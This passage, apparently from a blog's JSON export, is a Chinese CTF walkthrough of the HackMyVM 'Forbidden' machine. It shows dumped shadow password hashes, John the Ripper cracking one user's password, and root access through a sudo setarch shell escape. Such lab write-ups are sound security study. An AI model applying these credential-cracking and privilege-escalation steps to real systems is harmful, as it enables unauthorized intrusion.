\nmarkos:$6$PTerrFpyfOmkM5Xi$oo8gNZyyxsZbKhOIXrm2w\/x.Xvhdr7Ny\/4JgLDRLRAxAwEwGtH2kD7PjzeloAstqCPq\/KKrqrPioMM8vwWbqZ.:18544:0:99999:7:::\npeter:$6$QAeWH9Et9PAJdYz\/$\/4VhburW9KoVTRY1Ry63wNEfr4rxwQGaRJ3kKW2nEAk0LcqjqZjy\/m5rtaCi3VebNu7AaGFhQT4FBgbQVIyq81:18544:0:99999:7:::\nmarta:$6$h.4ZF5esZ\/N1OIcu$8vL1D3iM6iuhniSG8nIz0582atbIV6y\/UBl0eks1.Wrd51BqLK8Wqt91WXg0Y2mrdNY4luPQkqUWXFXWxLVwe\/:18544:0:99999:7:::\nroot:$6$8nU2FdqnxRtT9mWF$9q7El.D7BDrlzNyYYPNqjTcwsQEsC7utrzszLgbe9V.3KqYSfx2XgqjIEeToP41TJTiZQOGVsdCzIAYHw5O.51:18544:0:99999:7:::\n\n\u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden]\n\u2514\u2500$ john hash                                            \nUsing default input encoding: UTF-8\nLoaded 4 password hashes with 4 different salts (sha512crypt, crypt(3) $6$ [SHA512 128\/128 SSE2 2x])\nCost 1 (iteration count) is 5000 for all loaded hashes\nWill run 2 OpenMP threads\nProceeding with single, rules:Single\nPress &#039;q&#039; or Ctrl-C to abort, almost any other key for status\nAlmost done: Processing the remaining buffered candidate passwords, if any.\nProceeding with wordlist:\/usr\/share\/john\/password.lst\nboomer           (peter)     \n1g 0:00:02:33 34.25% 2\/3 (ETA: 05:10:59) 0.006493g\/s 447.2p\/s 1186c\/s 1186C\/s noway0..smitty0\nUse the &quot;--show&quot; option to display all of the cracked passwords reliably\nSession aborted<\/code><\/pre>\n<h3>serarch\u63d0\u6743<\/h3>\n<pre><code class=\"language-bash\">peter@forbidden:~$ ls -la\ntotal 24\ndrwxr-xr-x 2 peter peter 4096 Oct  9  2020 .\ndrwxr-xr-x 5 root  root  4096 Oct  9  2020 ..\n-rw------- 1 peter peter   12 Oct  9  2020 .bash_history\n-rw-r--r-- 1 peter peter  220 Oct  9  2020 .bash_logout\n-rw-r--r-- 1 peter peter 3526 Oct  9  2020 .bashrc\n-rw-r--r-- 1 peter peter  807 Oct  9  2020 .profile\npeter@forbidden:~$ sudo -l\nMatching Defaults entries for peter on forbidden:\n    env_reset, mail_badpass, secure_path=\/usr\/local\/sbin\\:\/usr\/local\/bin\\:\/usr\/sbin\\:\/usr\/bin\\:\/sbin\\:\/bin\n\nUser peter may run the following commands on forbidden:\n    (ALL : ALL) NOPASSWD: \/usr\/bin\/setarch<\/code><\/pre>\n<p>\u53ef\u4ee5\u53c2\u8003\uff1a<a href=\"https:\/\/gtfobins.github.io\/gtfobins\/setarch\/\">https:\/\/gtfobins.github.io\/gtfobins\/setarch\/<\/a><\/p>\n<pre><code class=\"language-bash\">peter@forbidden:~$ echo $arch\n\npeter@forbidden:~$ uname -a\nLinux forbidden 4.19.0-9-amd64 #1 SMP Debian 4.19.118-2+deb10u1 (2020-06-07) x86_64 GNU\/Linux\npeter@forbidden:~$ sudo setarch x86_64 \/bin\/bash\nroot@forbidden:\/home\/peter# cd ~\nroot@forbidden:~# ls -la\ntotal 24\ndrwx------  3 root root 4096 Oct  9  2020 .\ndrwxr-xr-x 18 root root 4096 Oct  9  2020 ..\n-rw-r--r--  1 root root  570 Jan 31  2010 .bashrc\ndrwxr-xr-x  3 root root 4096 Oct  9  2020 .local\n-rw-r--r--  1 root root  148 Aug 17  2015 .profile\n-rw-------  1 root root   16 Oct  9  2020 root.txt\nroot@forbidden:~# cat root.txt \nxxxxxxx\nroot@forbidden:~# find \/ -name user.txt 2&gt;\/dev\/null\n\/home\/markos\/user.txt<\/code><\/pre>\n<h2>\u53c2\u8003<\/h2>\n<p><a href=\"https:\/\/kerszl.github.io\/hacking\/walkthrough\/Forbidden\/\">https:\/\/kerszl.github.io\/hacking\/walkthrough\/Forbidden\/<\/a><\/p>\n<p><a href=\"https:\/\/github.com\/cankadioglu\/HackMyVM\/blob\/main\/Forbidden\">https:\/\/github.com\/cankadioglu\/HackMyVM\/blob\/main\/Forbidden<\/a><\/p>\n<p><a href=\"https:\/\/kaianperez.github.io\/forbidden\/#ftp\">https:\/\/kaianperez.github.io\/forbidden\/#ftp<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Forbidden \u4fe1\u606f\u641c\u96c6 \u7aef\u53e3\u626b\u63cf \u250c\u2500\u2500(kali\ud83d\udc80kali)-[~\/temp\/Forbidden] \u2514 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[11,18],"tags":[],"class_list":["post-746","post","type-post","status-publish","format-standard","hentry","category-ctf-and-protest","category-web"],"_links":{"self":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/746","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/comments?post=746"}],"version-history":[{"count":2,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/746\/revisions"}],"predecessor-version":[{"id":749,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/posts\/746\/revisions\/749"}],"wp:attachment":[{"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/media?parent=746"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/categories?post=746"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/162.14.82.114\/index.php\/wp-json\/wp\/v2\/tags?post=746"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}